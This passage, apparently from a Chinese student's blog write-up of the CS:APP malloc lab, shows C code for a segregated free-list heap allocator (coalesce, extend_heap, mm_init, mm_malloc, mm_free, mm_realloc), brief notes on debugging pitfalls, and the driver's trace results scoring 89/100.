delete_node_from_free_list(bp, size);
delete_node_from_free_list(PREV_BLKP(bp), prev_size);
delete_node_from_free_list(NEXT_BLKP(bp), next_size);
size += prev_size + next_size;
PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));
PUT(FTRP(NEXT_BLKP(bp)), PACK(size, 0));
bp = PREV_BLKP(bp);
};
insert_node_to_free_list(bp, size);
return bp;
}
/*
* extend_heap - extend heap with a free block
*/
static void *extend_heap(size_t words) {
char *bp;
size_t size;
/* Allocate and even number of words to maintain alignment */
size = (words % 2) ? (words + 1) * WSIZE : words * WSIZE;
if ((long)(bp = mem_sbrk(size)) == -1)
return NULL;
/* Initialize free block header/footer and the epilogue header */
PUT(HDRP(bp), PACK(size, 0));
PUT(FTRP(bp), PACK(size, 0));
insert_node_to_free_list(bp, size);
PUT(HDRP(NEXT_BLKP(bp)), PACK(0, 1));
/* Coalesce if the previous block was free */
return coalesce(bp);
}
/*
* mm_init - initialize the malloc package.
*/
int mm_init(void)
{
/* Create the initial empty heap */
if ((heap_listp = mem_sbrk(4 * WSIZE)) == (void *)-1) /* sbrk() function returns the start address of the new area. */
return -1;
for (int i = 0; i < FREE_LIST_SIZE; ++i)
free_lists[i] = NULL;
PUT(heap_listp, 0); /* Alignment */
PUT(heap_listp + (1 * WSIZE), PACK(DSIZE, 1)); /* Prologue block's size is 8 and is always alloced */
PUT(heap_listp + (2 * WSIZE), PACK(DSIZE, 1));
PUT(heap_listp + (3 * WSIZE), PACK(0, 1)); /* Epilogue header */
heap_listp += (2 * WSIZE);
if (extend_heap(CHUNKSIZE/WSIZE) == NULL)
return -1;
return 0;
}
/*
* mm_malloc - Allocate a block by incrementing the brk pointer.
* Always allocate a block whose size is a multiple of the alignment.
*/
void *mm_malloc(size_t size)
{
/* Ignore spurious requests */
if (size <= 0)
return NULL;
if (size <= DSIZE)
size = 2 * DSIZE;
size_t newsize = size + DSIZE + ((-size) % DSIZE);
void* bp;
// int newsize = ALIGN(size + SIZE_T_SIZE);
if ((bp = find_fit(newsize)) != NULL) {
place(bp, newsize);
return bp;
}
size_t extendsize = MAX(newsize, CHUNKSIZE);
if ((bp = extend_heap(extendsize/WSIZE)) == NULL)
return NULL;
place(bp, newsize);
return bp;
}
/*
* mm_free - Freeing a block does nothing.
*/
void mm_free(void *ptr)
{
size_t size = GET_SIZE(HDRP(ptr));
PUT(HDRP(ptr), PACK(size, 0));
PUT(FTRP(ptr), PACK(size, 0));
insert_node_to_free_list(ptr, size);
coalesce(ptr);
}
在不优化 realloc 的情况下可以拿到 84 左右的分数,和 next fit 接近
简单优化一下 realloc,但由于 bug 实在太多,还是选择抄了一个只向后合并空闲块的 realloc(可以增加向前合并,但又得继续 debug,润了)
这里踩到了一个坑,书上给的 extend_heap() 读入的是 words,而很多地方习惯直接给 byte 长度计算的 size 了,所以一直报“未进行复制”的错
/*
* mm_realloc - Implemented simply in terms of mm_malloc and mm_free
*/
void *mm_realloc(void *ptr, size_t size){
void *nblock = ptr;
int reamin;
if (size == 0) return NULL;
if (size <= DSIZE) size = 2 * DSIZE;
else size = ALIGN(size + 8);
if ((reamin = GET_SIZE(HDRP(ptr)) - size) >= 0){
return ptr;
}
else if (!GET_ALLOC(HDRP(NEXT_BLKP(ptr))) || !GET_SIZE(HDRP(NEXT_BLKP(ptr)))){
if ((reamin = GET_SIZE(HDRP(ptr)) + GET_SIZE(HDRP(NEXT_BLKP(ptr))) - size) < 0){
if (extend_heap(MAX(-reamin, CHUNKSIZE)/WSIZE) == NULL)
return NULL;
reamin += MAX(-reamin, CHUNKSIZE);
}
delete_node_from_free_list(NEXT_BLKP(ptr), GET_SIZE(HDRP(NEXT_BLKP(ptr))));
PUT(HDRP(ptr), PACK(size + reamin, 1));
PUT(FTRP(ptr), PACK(size + reamin, 1));
}
else{
nblock = mm_malloc(size);
memcpy(nblock, ptr, GET_SIZE(HDRP(ptr)));
mm_free(ptr);
}
return nblock;
}
测试结果:
Results for mm malloc:
trace valid util ops secs Kops
0 yes 98% 5694 0.000143 39818
1 yes 94% 5848 0.000171 34259
2 yes 98% 6648 0.000196 33936
3 yes 99% 5380 0.000147 36499
4 yes 66% 14400 0.000256 56338
5 yes 89% 4800 0.000180 26667
6 yes 86% 4800 0.000192 25065
7 yes 55% 12000 0.000243 49322
8 yes 51% 24000 0.000424 56630
9 yes 99% 14401 0.000163 88513
10 yes 67% 14401 0.000128112684
Total 82% 112372 0.002242 50128
Perf index = 49 (util) + 40 (thru) = 89/100